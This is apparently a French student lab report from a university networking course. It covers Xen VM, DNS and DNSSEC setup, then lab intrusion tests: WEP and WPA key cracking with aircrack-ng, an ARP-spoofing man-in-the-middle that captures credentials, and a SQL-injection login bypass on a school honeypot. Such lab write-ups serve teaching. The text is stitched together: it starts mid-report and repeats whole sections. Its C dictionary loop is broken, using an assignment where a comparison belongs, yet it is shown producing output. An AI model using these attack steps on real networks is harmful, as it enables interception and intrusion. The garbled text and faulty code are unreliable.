concorde 19 1024 1 -b---- 148.5
oronge 20 256 1 -b---- 536.2
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne.
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.

== Services Internet ==

=== Configuration du réseau ===

Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces
auto eth0
iface eth0 inet static
address 193.48.57.171
netmask 255.255.255.240
gateway 193.48.57.163

Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus
ifdown eth0
ifup eth0

Je vérifie que le processus s'est bien déroulé
ip r
default via 193.48.57.163 dev eth0 onlink
193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171
ping 193.48.57.162 (Adresse IP 3560E)

=== Serveur SSH ===
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :
vi /etc/ssh/sshd_config
PermitRootLogin yes // Permet l'accès direct en root
service ssh restart
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.
ssh root@193.48.57.171

=== Serveur DNS ===

Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.

Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.

Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre.
ns.lulya.space
193.48.57.171

Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.
ns.lulya.space1
ns6.gandi.net

Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.
Le fichier named.conf.options qui gère les options de configuration du DNS :
options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32; //Adresse IP de dns6.gandi.net
};

Puis le fichier named.conf.local pour déclarer les zones associées au domaine:
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space";
};

Enfin, le fichier de configuration /etc/bind/db.lulya.space :
$TTL 3600
@ IN SOA ns.lulya.space. postmaster.lulya.space. (
1 ; Version
1800 ; Refresh (30m)
600 ; Retry (10m)
3600 ; Expire (1h)
3600 ) ; Minimum TTL (1h)
@ IN NS ns.lulya.space.
@ IN NS ns6.gandi.net.
ns IN A 192.48.57.171
www IN A 192.48.57.171

J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.

Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.

=== Sécurisation de site web par certificat ===

Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.

Je modifie mon fichier db.lulya.space
Version : 2
IN MX 100 ns
www IN A 193.48.57.171

Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise.

Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat
openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr

J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier.

En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage
apt install strace
strace -f -o open newaliases
strace -f newaliases

=== Sécurisation de serveur DNS par DNSSEC ===

Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.

Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.
La clé asymétrique de signature de clefs de zone
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space
La clé asymétrique de zone pour les enregistrements
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space

Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe :

- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK

- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée
mv Klulya.space.+005+11461.key lulya.space-ksk.key
mv Klulya.space.+005+11461.private lulya.space-ksk.private
mv Klulya.space.+005+27882.key lulya.space-zsk.key
mv Klulya.space.+005+27882.private lulya.space-zsk.private
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec

Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space
$include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key
$include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key

Je signe les enregistrements
dnssec-signzone -o lulya.space -k lulya.space-ksk ../db.lulya.space lulya.space-zsk

Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space.signed";
};

Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.

[[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]
 

== Tests d'intrusion ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.

Je dois trouver le point d’accès : canal et nom des réseaux.

Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau.

Dans notre cas, la carte Wi-fi se place en observateur du réseau.

Je liste les interfaces disponibles :
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlx40a5efd2140c rt2800usb Ralink Technology, Corp. RT5370

Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.

root@zabeth09:~# airmon-ng start wlx40a5efd2140c
Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.
(mac80211 monitor mode vif enabled on [phy0]wlan0mon
(mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)

Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.

En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT5370

Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux
root@zabeth09:~# airmon-ng –encrypt wep wlan0mon

Beaucoup d'informations s'affichent et je visualise cracotte07 dans la liste pour ses informations.

root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon
Tous les cracotte se trouvent sur channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56

Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.
airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon

Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP
root@zabeth09:~# aircrack-ng lcrack-01.cap
Opening lcrack-01.capse wait…

Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.

Aircrack-ng 1.5.2
[00:00:00] Tested 833 keys (got 73079 IVs)
KB depth byte(vote)
0 0/ 17 F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176)
1 0/ 1 91(103680) 34(83968) 54(83456) B3(83456) B9(82432)
2 2/ 2 60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664)
3 15/ 3 B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104)
4 0/ 1 74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664)
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ]
Decrypted correctly: 100%

=== Cassage de mot de passe WPA-PSK par force brute ===
En utilisant la même méthode, on peut craquer une autre clef WPA.
root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon
-rw-r--r-- 1 root root 88K Nov 4 17:11 lkrack-03.cap

Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.

int main(void){
int x;
for(x=0; x=99999999; x++){
printf("%08d\n",x);
}
}

Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico.
root@zabeth09:~# gcc -Wall -o dico main.c

Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.
root@zabeth09:~# ./dico | more
00000000
00000001
00000002
00000003
00000004
root@zabeth09:~# ./dico | tail
99999995
99999996
99999997
99999998
99999999

Je finis par les transférer dans un fichier .txt
root@zabeth09:~# ./dico > dico.txt

Je choisis de lancer le traitement sur 2 pc plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon pc zabeth09.
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap > /tmp/result

En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.
root@zabeth09:~# split -n 2 dico.txt
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico
root@zabeth09:~# ls -lhrt
-rw-r--r-- 1 root root 101 Nov 4 17:09 main.c
-rwxr-xr-x 1 root root 17K Nov 4 17:09 dico
-rw-r--r-- 1 root root 430M Nov 4 17:15 xaa
-rw-r--r-- 1 root root 430M Nov 4 17:15 xab
En tapant la commande tail, je vérifie que celui que je veux est bien xab

Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22
root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap > /tmp/result

Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)
root@zabeth22:~# cat /tmp/result
Aircrack-ng 1.5.2
[00:09:13] 10260165/102795810 keys tested (3427.05 k/s)
Time left: 7 hours, 30 minutes, 1 second 9.98%
KEY FOUND! [ 10255555 ]

La clé se trouvait dans les 1er 10 % de dico.
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.
Il est logique que celui-ci nous donne aucune clé en réponse.

root@zabeth26:~# cat /tmp/result
[00:46:05] 50000000/51397904 keys tested (3498.19 k/s)
Time left: 0 seconds 97.28%
KEY NOT FOUND
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.

=== Attaque de type "homme au milieu" par usurpation ARP ===

J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :

- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées

- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local

- dsniff : écoute de mots de passe pour différents protocoles

Je vérifie d’abord que dorade est bien configuré au niveau du réseau.
root@dorade:/home/pifou# cat /etc/network/interfaces
# This is an autoconfigured IPv6 interface
iface eth0 inet static
address 172.26.145.101
netmask 255.255.255.0
gateway 172.26.145.254

Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires
root@dorade:/home/pifou# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000

Une commande permet de voir la table de routage.
root@dorade:/home/pifou# ip r
default via 172.26.145.254 dev eth0 onlink
169.254.0.0/16 dev eth0 scope link metric 1000
172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101

Je vérifie qu’il est bien relié au réseau en pingant zabeth09.
root@dorade:/home/pifou# ping zabeth09
PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms
--- zabeth09 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms

En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.

Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.

- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.

- La commande retourne la valeur 1 : l'IP Forwarding est activé.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 0
Dorade n’est pas en mode routeur, je passe alors le noyau à 1
root@dorade:/home/pifou# echo 1 > /proc/sys/net/ipv4/ip_forward

J'utilise la commande arpsppof, en prenant les informations collectées au début.
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.
root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1

Lors de cette étape toujours en cours, je lance un second terminal.
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 1
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter 0
root@dorade:/home/pifou# wireshark
[[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]
 
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr

=== Intrusion sur un serveur d’application Web ===

Je veux m'introduire sur un site de Polytech honey.plil.info.
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.
SELECT id FROM users WHERE id='$id' AND pass='$pass';
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='

Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='

J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]
 

== Réalisation ==

=== Sécurisation WiFi par WPA2-EAP ===

==== Configuration serveur FreeRadius ====

L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.

Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.

Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.
apt update
apt install freeradius

Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users
pifou Cleartext-Password := "glopglop"

/etc/freeradius/3.0/mods-enabled/eap
eap{
default_eap_type = peap
}

/etc/freeradius/3.0//mods-enabled/mschap
//Décommenter et vérifier
use_mppe = yes
require_encryption = yes
require_strong = yes
//Ajouter
with_ntdomain_hack = yes

Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:
client access-point { /Nom du client
ipaddr = 10.60.0.100 //Adress IP de la borne
secret = glopglop //Mot secret saisi lors de la configuration
}

Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.
service freeradius stop
ps auxwww | grep free
root 18316 0.0 0.0 3084 888 pts/0 S+ 22:49 0:00 grep free
kill 10659
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions
freeradius -X

==== Configuration des points d'accès WiFi ====

Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.

J'accède à la configuration de la borne WiFi
minicom -os
port : /dev/ttyUSB2
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#

Je passe en mode privilégié et en mode configuration
ap#enable
ap#config term

On met la commande suivante pour :

authentification : vérifier l'identité de l'utilisateur

authorization : pouvoir limiter l'accès à certaines fonctionnalités

accounting : pouvoir enregistrer les actions de l'utilisateur

ap(config)#aaa new-model

Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius
ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop

Définition du groupe de serveur
ap(config)#aaa group server radius radius_lulya

Association du groupe de serveur et du serveur de la VM
ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813

Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier
ap(config)#aaa authentication login eap_lulya group radius_lulya

Définition du SSID protégé par la méthode WPA2-EAP
ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya
ap(config-ssid)#vlan 10
ap(config-ssid)#authentication open eap eap_lulya
ap(config-ssid)#authentication network-eap eap_lulya
ap(config-ssid)#authentication key-management wpa

Configuration du Vlan
ap(config)#interface Dot11Radio0
ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip
ap(config-if)#ssid SSID_lulya

Création de sous interfaces
ap(config)#interface dot11Radio0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

ap(config)#interface fast0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

Ajout SSID dans l'interface Dot11Radio0
ap(config-subif)#interface Dot11Radio0
ap(config-if)#dot11 ssid SSID_lulya

Rendre le SSID visible
ap(config-ssid)#interface Dot11Radio0
ap(config-if)#mbssid
ap(config-if)#dot11 ssid SSID_lulya
ap(config-ssid)#mbssid guest-mode

Je quitte tout en utilisant <code>exit</code>, puis faire un <code>write</code> pour prendre en compte toutes les configurations, pour finir je <code>reload</code>
ap(config)#write
Building configuration...
[OK]

TP sysres IMA2a5 2020/2021 G7

2020-12-14T12:24:56Z

Lchenu : /* Partie commune */

== Partie commune ==
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)
L'objectif est la redondance matérielle.

== Installation de la machine virtuelle Xen ==

=== Création de la VM ===
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh
ssh root@capbreton.plil.info

Nom de ma machine : hawker

Adresse IP de la machine : 193.48.57.171

Adresse du routeur : 193.48.57.163

Le répertoire des disques virtuels : /usr/local/xen

xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.
xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf

J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker

Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/

La distribution stable courant : http://proxy.polytech-lille.fr:3128

xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force

En lançant un second terminal, je peux suivre le processus d’installation
tail -f /var/log/xen-tools/hawker.log

Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.

Installation Summary
---------------------
Hostname : hawker
Distribution : ascii
MAC Address : 00:16:3E:A4:65:07
IP Address(es) : dynamic
SSH Fingerprint : SHA256:xxxxxxx (DSA)
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)
SSH Fingerprint : SHA256:xxxxxxx (ED25519)
SSH Fingerprint : SHA256:xxxxxxx (RSA)
Root Password : xxxxxxxxxxxxxxxxxxxxxxxx

Via la commande passwd, j'ai changé le mot de passe par "glopglop"

=== Configuration de la VM ===

Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.
Je récupère le nom du bridge "IMA2a5"
brctl show
bridge name bridge id STP enabled interfaces
'''IMA2a5 8000.34800d508a83 no ether1'''
IMA5sc 8000.34800d508a82 no ether0
L3MRIT 8000.b026289b2c9a no ether2
Trunk 8000.4cd98fa49258 no ether4
bridgeGIS 8000.4cd98fa49258 no vlan502

J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5.

kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '1024'

root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
]

name = 'hawker'

'''vif = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''

on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

J'accède à ma machine virtuelle
xl create /etc/xen/hawker.cfg
xl console hawker

Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte
lvcreate -L10G -n hawker-var virtual
lvcreate -L10G -n hawker-home virtual

Je pointe le système de fichier sur les deux nouvelles partitions
mke2fs /dev/virtual/hawker-home
mke2fs /dev/virtual/hawker-var

Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.

disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
''''phy:/dev/virtual/hawker-home,xvdb1,w','''
''''phy:/dev/virtual/hawker-var,xvdb2,w','''
]

Puis je redémarre la VM pour prendre en compte les modifications
xl shutdown hawker
xl create /etc/xen/hawker.cfg

A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.
/dev/xvdb1 /home ext4 defaults 0 2
#/dev/xvdb2 /var ext4 defaults 0 2
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.
mkfs -t ext4 /dev/xvdb2
mount /dev/xvdb2 /mnt
mv /var/* /mnt
blkid Trouver ou afficher les attributs de périphérique bloc
/dev/xvda2: UUID="efa11821-8780-4938-9473-5d217752316e" TYPE="ext4"
/dev/xvda1: UUID="1a3161b3-a90d-4da5-a224-cfc496e70c89" TYPE="swap"
/dev/xvdb1: UUID="5645526d-2cf4-42b5-a4a7-94fdda100ca1" TYPE="ext4"
/dev/xvdb2: UUID="5b49ce5f-8116-4c41-aa25-97536f644803" TYPE="ext4"
vi /etc/fstab
Par la suite, je peux décommenter la ligne et exécuter :
umount /mnt
mount -a
Je vérifie que les disques sont bien montés via la commande df
Filesystem 1K-blocks Used Available Use% Mounted on
udev 483904 0 483904 0% /dev
tmpfs 100712 120 100592 1% /run
/dev/xvda2 4062912 791352 3045464 21% /
tmpfs 5120 0 5120 0% /run/lock
tmpfs 306280 0 306280 0% /dev/shm
'''/dev/xvdb1 10255636 36872 9678092 1% /home'''
'''/dev/xvdb2 10255636 315536 9399428 4% /var'''

On peut vérifier que la VM est prête
xl list
Name ID Mem VCPUs State Time(s)
Domain-0 0 4046 4 r----- 6978.3
boeing 1 256 1 -b---- 185.5
NightHawk 3 1024 1 -b---- 826.8
'''hawker 4 1024 1 -b---- 776.9'''
blackbird 5 256 1 -b---- 640.4
Falcon 6 256 1 -b---- 691.7
rafale 8 256 1 -b---- 606.0
mirage 12 1024 1 -b---- 668.6
alpha-jet 13 256 1 -b---- 591.4
concorde 19 1024 1 -b---- 148.5
oronge 20 256 1 -b---- 536.2
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne.
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.

== Services Internet ==

=== Configuration du réseau ===

Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces
auto eth0
iface eth0 inet static
address 193.48.57.171
netmask 255.255.255.240
gateway 193.48.57.163

Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus
ifdown eth0
ifup eth0

Je vérifie que le processus s'est bien déroulé
ip r
default via 193.48.57.163 dev eth0 onlink
193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171
ping 193.48.57.162 (Adresse IP 3560E)

=== Serveur SSH ===
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :
vi /etc/ssh/sshd_config
PermitRootLogin yes // Permet l'accès direct en root
service ssh restart
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.
ssh root@193.48.57.171

=== Serveur DNS ===

Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.

Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.

Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre.
ns.lulya.space
193.48.57.171

Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.
ns.lulya.space1
ns6.gandi.net

Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.
Le fichier named.conf.options qui gère les options de configuration du DNS :
options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32; //Adresse IP de dns6.gandi.net
};

Puis le fichier named.conf.local pour déclarer les zones associées au domaine:
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space";
};

Enfin, le fichier de configuration /etc/bind/db.lulya.space :
$TTL 3600
@ IN SOA ns.lulya.space. postmaster.lulya.space. (
1 ; Version
1800 ; Refresh (30m)
600 ; Retry (10m)
3600 ; Expire (1h)
3600 ) ; Minimum TTL (1h)
@ IN NS ns.lulya.space.
@ IN NS ns6.gandi.net.
ns IN A 192.48.57.171
www IN A 192.48.57.171

J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.

Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.

=== Sécurisation de site web par certificat ===

Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.

Je modifie mon fichier db.lulya.space
Version : 2
IN MX 100 ns
www IN A 193.48.57.171

Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise.

Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat
openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr

J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier.

En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage
apt install strace
strace -f -o open newaliases
strace -f newaliases

=== Sécurisation de serveur DNS par DNSSEC ===

Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.

Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.
La clé asymétrique de signature de clefs de zone
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space
La clé asymétrique de zone pour les enregistrements
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space

Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe :

- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK

